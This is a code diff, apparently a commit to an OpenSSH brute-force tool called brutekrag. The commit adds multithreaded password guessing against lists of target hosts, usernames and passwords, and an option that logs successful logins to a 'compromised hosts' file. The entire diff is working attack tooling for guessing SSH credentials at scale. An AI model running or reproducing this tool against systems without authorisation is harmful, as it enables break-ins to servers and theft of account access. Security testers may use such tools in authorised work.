@@ -28,22 +28,82 @@ import sys
2828import brutekrag
2929import argparse
3030from argparse import RawTextHelpFormatter
31+ import threading
32+ import signal
33+ import time
34+
35+ exit_flag = False
36+ threads = []
37+ matrix = []
38+ compromisedHostsBuffer = None
39+
40+
41+ def teardown (signal = 0 ):
42+ print ('Stopping threads...' )
43+ exit_flag = True
44+ try :
45+ for t in threads :
46+ try :
47+ t .stop ()
48+ except Exception as e :
49+ print (e )
50+ except Exception as e :
51+ print (e )
52+ sys .exit (signal )
53+
54+
55+ def signal_handler (signal , frame ):
56+ teardown (0 )
3157
3258
3359def print_error (message , * args ):
3460 print ('\033 [91m\033 [1mERROR:\033 [0m %s' % message , * args , file = sys .stderr )
3561
3662
63+ class brutekragThread (threading .Thread ):
64+ def __init__ (self , threadID , name , ** kwargs ):
65+ super (brutekragThread , self ).__init__ ()
66+ self ._threadID = threadID
67+ self ._name = name
68+ self ._running = True
69+
70+ def run (self ):
71+ self .log ('Starting thread...' )
72+ while (matrix and self ._running ):
73+ try :
74+ loginAttempt = matrix .pop ()
75+ btkg = brutekrag .brutekrag (loginAttempt [0 ], args .port , timeout = args .timeout )
76+ if btkg .connect (loginAttempt [1 ], loginAttempt [2 ]) is True :
77+ print ('\033 [37m[%s:%d]\033 [0m The password for user \033 [1m%s\033 [0m is \033 [92m\033 [1m%s\033 [0m' % (loginAttempt [0 ], args .port , loginAttempt [1 ], loginAttempt [2 ]))
78+ if args .output is not None :
79+ print ('%s:%d %s:%s' % (loginAttempt [0 ], args .port , loginAttempt [1 ], loginAttempt [2 ]), file = compromisedHostsBuffer )
80+ if args .user is not None :
81+ # This execution aims to a single user, so all the job is done. :D
82+ teardown (0 )
83+ break
84+ except Exception as ex :
85+ print_error (str (ex ))
86+ self .stop ()
87+
88+ def stop (self ):
89+ self .log ('Stopping...' )
90+ self ._running = False
91+
92+ def log (self , * args ):
93+ print (time .ctime (time .time ()), self ._name , * args )
94+
95+
3796banner = ('''\033 [92m _ _ _
3897 | | | | | |
3998 | |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _
4099 | '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
41100 | |_) | | | |_| | || __/ <| | | (_| | (_| |
42101 |_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
43- \033 [0m\033 [1mOpenSSH Brute force tool 0.2.1 \033 [92m __/ |
102+ \033 [0m\033 [1mOpenSSH Brute force tool 0.3.0 \033 [92m __/ |
44103 \033 [0m(c) Copyright 2014 Jorge Matricali\033 [92m |___/\033 [0m
45104 \n ''' )
46105
106+ signal .signal (signal .SIGINT , signal_handler )
47107parser = argparse .ArgumentParser (description = banner ,
48108 formatter_class = RawTextHelpFormatter )
49109
@@ -57,6 +117,8 @@ parser.add_argument('-p', '--port', type=int, help='Target port (default 22).',
57117parser .add_argument ('-u' , '--user' , type = str , help = 'Single user bruteforce.' )
58118parser .add_argument ('-P' , '--password' , type = str , help = 'Single password bruteforce.' )
59119parser .add_argument ('--timeout' , type = int , help = 'Connection timeout (in seconds, 1 default).' , default = 1 )
120+ parser .add_argument ('--threads' , type = int , default = 1 , help = 'Total number of threads to use (default 1).' )
121+ parser .add_argument ('-o' , '--output' , type = str , default = None , help = 'Output file for compromised hosts.' )
60122
61123try :
62124 args = parser .parse_args ()
@@ -114,19 +176,27 @@ elif args.single is None:
114176 print_error ('You must specify a password dictionary.' )
115177 sys .exit (255 )
116178
179+ '''
180+ OUTPUT BUFFER
181+ '''
182+ if args .output is not None :
183+ try :
184+ compromisedHostsBuffer = open (args .output , 'a' )
185+ except Exception as error :
186+ print_error ('Can\' t output to %s: %s' % (args .output , str (error )))
187+
117188
118189'''
119190BUILD MATRIX
120191'''
121- matrix = []
122192if args .single is not None :
123193 # Single file
124194 dictionary = []
125195 with open (args .single , 'r' ) as dictionaryFile :
126196 for line in dictionaryFile :
127197 dictionary .append (line )
128198 dictionaryFile .close ()
129- print ('Loaded %d passwords from %s\n ' % (len (dictionary ), args .single ))
199+ print ('Loaded %d combinations of username and password from %s\n ' % (len (dictionary ), args .single ))
130200
131201 for line in dictionary :
132202 username , password = line .split (args .separator )
@@ -143,14 +213,20 @@ else:
143213 for target in targets :
144214 matrix .append ([target .strip (), username .strip (), password .strip ('\n ' )])
145215
216+ matrix .reverse ()
217+ print ('%d total loggin attemps.' % len (matrix ))
218+ print ('Starting %d threads...\n ' % args .threads )
146219
147- print ('%d total loggin attemps.\n ' % len (matrix ))
148- for loginAttempt in matrix :
149- try :
150- btkg = brutekrag .brutekrag (loginAttempt [0 ], args .port , timeout = args .timeout )
151- btkg .connect (loginAttempt [1 ], loginAttempt [2 ])
152- except Exception as ex :
153- print_error (str (ex ))
220+ threads = [None ]* args .threads
221+ for nt in range (args .threads ):
222+ threads [nt ] = brutekragThread (nt + 1 , 'Thread-%d' % (nt + 1 ))
223+ threads [nt ].daemon = True
224+ threads [nt ].start ()
225+
226+ while (threads ):
227+ for t in threads :
228+ if not t ._running :
229+ threads .remove (t )
154230
155231
156232print ('Bye...' )
0 commit comments